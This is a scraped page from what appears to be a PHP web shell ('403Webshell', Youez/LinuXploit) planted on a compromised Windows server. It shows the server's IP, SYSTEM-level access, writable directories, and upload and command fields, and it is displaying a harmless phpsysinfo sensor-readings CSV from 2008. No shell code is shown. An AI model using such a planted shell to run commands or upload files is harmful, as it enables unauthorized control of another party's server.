403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/wamp/apps/phpsysinfo3.4.2/sample/motherboard/mbm5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/wamp/apps/phpsysinfo3.4.2/sample/motherboard/mbm5/MBM51.csv
;;;Case;CPU;Sensor 3;Core 0;Core 1;+3.3;+5.00;+12.00;-12.00;-5.00;Fan 1;Fan 2;Fan 3;
23/02/2008;15:45:18;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,23 V;4,92 V;12,28 V;1,54 V;2,29 V;5037 RPM;
23/02/2008;15:44:48;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,25 V;4,89 V;12,28 V;1,54 V;2,34 V;5113 RPM;
23/02/2008;15:44:18;2000 MHz;45 C;53 C;0 C;1,66 V;0,00 V;3,25 V;4,89 V;12,28 V;1,63 V;2,34 V;5113 RPM;
23/02/2008;15:43:48;2000 MHz;45 C;53 C;0 C;1,66 V;0,00 V;3,23 V;4,89 V;12,28 V;1,54 V;2,29 V;5037 RPM;
23/02/2008;15:43:18;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,23 V;4,92 V;12,28 V;1,54 V;2,34 V;5113 RPM;
23/02/2008;15:42:48;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,25 V;4,89 V;12,28 V;1,54 V;2,34 V;5037 RPM;
23/02/2008;15:42:18;2000 MHz;45 C;53 C;0 C;1,66 V;0,00 V;3,23 V;4,89 V;12,40 V;1,63 V;2,34 V;5037 RPM;
23/02/2008;15:41:48;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,25 V;4,89 V;12,28 V;1,54 V;2,29 V;5113 RPM;
23/02/2008;15:41:18;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,23 V;4,87 V;12,34 V;1,63 V;2,34 V;5113 RPM;
23/02/2008;15:40:48;2000 MHz;45 C;53 C;0 C;1,68 V;0,00 V;3,23 V;4,89 V;12,28 V;1,46 V;2,29 V;5037 RPM;

Youez - 2016 - github.com/yon3zu
LinuXploit